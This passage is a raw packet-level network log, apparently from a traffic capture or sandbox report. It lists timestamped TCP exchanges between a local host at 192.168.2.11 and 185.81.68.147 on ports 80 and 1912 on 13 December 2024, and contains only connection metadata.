Dec 13, 2024 08:19:03.604290962 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.604306936 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.604351044 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.606054068 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.606106997 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.606296062 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.608093023 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.608160973 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.608243942 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.610038042 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.610085964 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.610302925 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.612088919 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.612104893 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.612159014 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.652529955 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.703835011 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.703852892 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.703923941 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.704001904 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.704456091 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.704509974 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.748959064 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.823663950 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.869025946 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:03.869118929 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.869198084 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:03.989901066 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:04.432939053 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:04.468314886 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:04.588625908 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:04.901402950 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:04.949605942 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:05.196091890 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.196140051 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.196156025 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.196213007 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:05.196275949 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.196290970 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.196306944 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.196322918 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.196326971 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:05.196355104 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:05.196495056 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.196543932 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:05.196549892 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.196566105 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.196609974 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:05.316378117 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.316396952 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.316468000 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:05.388098955 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.388298035 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.388475895 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:05.392388105 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.392410040 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.392479897 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:05.400871992 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.400887966 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.400968075 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:05.409168005 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.409356117 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.409418106 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:05.417661905 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.417678118 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.417748928 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:05.426047087 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.426064014 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.426131010 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:05.434333086 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.434483051 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.434575081 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:05.442919970 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.443049908 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.443109035 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:05.451361895 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.451702118 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.451797009 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:05.459726095 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.459742069 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.459805012 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:05.468009949 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.468091011 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.468149900 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:05.583806992 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.583825111 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.583894014 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:05.586158991 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.586174965 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.586230993 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:05.591114998 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.591245890 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.591301918 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:05.596236944 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.596252918 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.596328974 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:05.601254940 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.601272106 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.601325989 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:05.605988026 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.606081009 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.606137037 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:05.610821962 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.610949993 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.611011028 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:05.615608931 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.616194010 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.616251945 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:05.620484114 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.620646954 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.620707989 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:05.625243902 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.625340939 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.625395060 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:05.630126953 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.630240917 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.630320072 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:05.634983063 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.635195971 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.635253906 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:05.639866114 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.639883041 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.639950991 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:05.644613981 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.644644022 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.644705057 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:05.649471998 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.649487972 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.649548054 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:05.654313087 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.654340029 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.654400110 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:05.659195900 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.659212112 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.659265041 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:05.664164066 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.664180040 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.664243937 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:05.668730974 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.668833017 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.668885946 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:05.775978088 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.775998116 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.776079893 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:05.778040886 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.778070927 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.778131962 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:05.782274961 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.782286882 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.782345057 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:05.786123037 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.786237001 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.786298990 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:05.790191889 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.790556908 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.790612936 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:05.794090986 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.795368910 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.795455933 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:05.797974110 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.798043966 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.798091888 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:05.801608086 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.801781893 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.801842928 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:05.805325031 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.805397034 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.805459023 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:05.809120893 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.809173107 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.809231997 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:05.812829018 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.812840939 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.812895060 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:05.816529036 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.816539049 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.816679001 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:05.820240021 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.820251942 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.820312023 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:05.823899031 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.824032068 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.824093103 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:05.827614069 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.827625990 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.827712059 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:05.831250906 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.831264973 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.831350088 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:05.834949970 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.835010052 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.835104942 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:05.838695049 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.838706017 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.838773966 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:05.842286110 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.842392921 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.842449903 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:05.845992088 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.846128941 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.846198082 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:05.849828959 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.849841118 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.849905968 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:05.857800961 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.857816935 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.857856989 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.857868910 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.857899904 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:05.857930899 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:05.860764980 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.860831976 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.860898972 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:05.968076944 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.968301058 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.968401909 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:05.972657919 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.972671986 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.972742081 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:05.974028111 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.974179983 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.974236965 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:05.977229118 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.977370024 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.977430105 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:05.980292082 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.980468988 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.980524063 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:05.983336926 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.983491898 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.983566999 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:05.986356974 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.986371040 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.986438036 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:05.989295006 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.989310026 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.989362001 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:05.991903067 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.992038012 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.992091894 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:05.994827032 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.995022058 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.995074987 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:05.996712923 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.996726036 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.996779919 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:05.999543905 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.999557018 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:05.999618053 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.002899885 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.002927065 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.002974987 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.005374908 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.005388021 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.005444050 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.007361889 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.007626057 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.007680893 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.010189056 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.010207891 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.010284901 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.013097048 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.013108969 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.013164043 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.016083956 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.016165018 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.016218901 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.021099091 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.021119118 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.021193027 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.022840977 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.022852898 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.022910118 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.025867939 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.025881052 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.025943041 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.029232025 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.029244900 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.029299974 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.030958891 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.030972958 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.031027079 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.032587051 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.032691002 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.032748938 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.035444021 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.035631895 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.035686970 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.038290977 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.038337946 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.038395882 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.041148901 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.041162968 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.041220903 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.043919086 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.043931961 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.043992996 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.046736956 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.046750069 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.046814919 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.049508095 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.049520016 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.049571991 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.052355051 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.052366972 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.052545071 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.055017948 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.055089951 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.055141926 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.057960987 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.057988882 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.058048010 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.060800076 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.060811996 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.060859919 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.063668013 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.063749075 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.063807964 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.066334009 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.066422939 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.066476107 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.069152117 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.069169044 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.069225073 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.071934938 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.071948051 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.072026968 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.074968100 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.121366978 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.161181927 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.161391973 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.161458969 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.162477970 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.162488937 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.162529945 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.164654970 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.164767981 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.164818048 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.166987896 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.167129993 CET	80	49761	185.81.68.147	192.168.2.11
